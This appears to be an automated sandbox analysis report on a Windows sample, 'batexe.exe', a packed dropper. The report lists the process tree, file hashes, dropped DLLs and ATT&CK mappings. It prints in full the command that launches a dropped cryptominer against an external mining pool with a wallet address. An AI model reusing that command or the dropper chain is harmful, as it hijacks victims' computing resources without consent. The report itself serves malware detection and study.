73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
297s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
14/02/2024, 12:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2388	b2e.exe
3896	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3896	cpuminer-sse2.exe
3896	cpuminer-sse2.exe
3896	cpuminer-sse2.exe
3896	cpuminer-sse2.exe
3896	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4996-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4996 wrote to memory of 2388	4996	batexe.exe	74
PID 4996 wrote to memory of 2388	4996	batexe.exe	74
PID 4996 wrote to memory of 2388	4996	batexe.exe	74
PID 2388 wrote to memory of 2272	2388	b2e.exe	75
PID 2388 wrote to memory of 2272	2388	b2e.exe	75
PID 2388 wrote to memory of 2272	2388	b2e.exe	75
PID 2272 wrote to memory of 3896	2272	cmd.exe	78
PID 2272 wrote to memory of 3896	2272	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4996
- C:\Users\Admin\AppData\Local\Temp\B342.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B342.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B342.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2388
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B72A.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2272
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\B342.tmp\b2e.exe

Filesize
10.6MB

MD5
44eab466edbc24ec981c2467aa839f76

SHA1
d45ad8bf34cc2cc15611f7dbc6400834bb2f3889

SHA256
77390f59c42b630efc1dacd4f3f795bcb2a5b8ba9399271bc5b5c5e7f84de97e

SHA512
01dac1fc6f671527058861780c1713972c864652a4d0e90ba575a0fe7d249c617ffd44c23095da183d1210bb60eb34a07b94c28b04d697fc8eb46307051dee2f

Download Submit
C:\Users\Admin\AppData\Local\Temp\B342.tmp\b2e.exe

Filesize
13.1MB

MD5
bc6fe2cc0745c1fca276b70656df718b

SHA1
2a76a33fe4f5c45eb61c5be05a9fa3d8abf3e1e3

SHA256
019f321e2170d3757a93f16267efc4dea71c780fcaf54ab2ccba022156dfe0ea

SHA512
255cad25005f59d752adb5186f43250ab629ef15c9fd2fc8d35fb5cbeb15087eef4e4fd75f17c502f468be9a6523ad3d1426654ef16b53894f1f08c26ba593a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\B72A.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
448KB

MD5
ca0b33f54480aa9c590d09f72e3feb31

SHA1
d50dc7dd964feb0d7516c3037e7dc7e008420ae5

SHA256
67833a9e63d8b7469a3a3415124a2426893a6174ce2bd88bea520c68319d182d

SHA512
266dcd9c5bfe2b117fda6bf7c4250a908233d8474bd0b09596a0bd0fa2e5bc75446a20b46cb7e516ef75b5661bbe16c714e8dcc5962a0f481cbaecdf6135affd

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.6MB

MD5
464e13ee93cf54f4c081e539e0a3d018

SHA1
5092b2c7e35fd2b6d3572d1a5ca0447e862e0ef2

SHA256
0d61d72afff0b9536b626cc1f57f5b24c4e508b7467141080911bdd3d6ad40dd

SHA512
14c07ff7ba1a5e85b97883a821515bc1b9b51c04988ffad9688cf7031a9e166c151233e78604f11ae757e92bb0554a22c6e71ac67952f64230eb45eaedd08ca3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.2MB

MD5
bbd5538c03decb24312a5e17523aa8b0

SHA1
03c792c864e13a78ea1947fa3bcccd3ef99fe370

SHA256
030bd62405ac138156fb2a2490da8c1e116f9ac071317e06787435157584bc78

SHA512
ba374ec9b4eb2fa96c3a34bfdcca5ae2aea0d68be50d5b3576bea062f7e7fbea657546fc0eea82c07d4bcb8476031e8e8f7ac0ea3464b7068744880400068930

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.2MB

MD5
530bc979c45a29e67825c9d05a6a85f7

SHA1
4bc2f59f1843af0d4f94c5ffbb51746c088ef791

SHA256
a318eb6a3028084cd7e087e9e59851ac0b53ee5e9201bc3e2fa86d76f71b9967

SHA512
97edc133c8b9edec2135e8a5618b47a94e7d461bf3eefddd16e04cdbab125821b6689110766b5e46aa32e7d599f8b89301ef8b288403af863f5aa7504d635cee

Download Submit
memory/2388-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2388-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3896-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3896-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3896-43-0x00000000702F0000-0x0000000070388000-memory.dmp

Filesize
608KB

Download
memory/3896-44-0x0000000001120000-0x00000000029D5000-memory.dmp

Filesize
24.7MB

Download
memory/3896-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3896-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4996-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download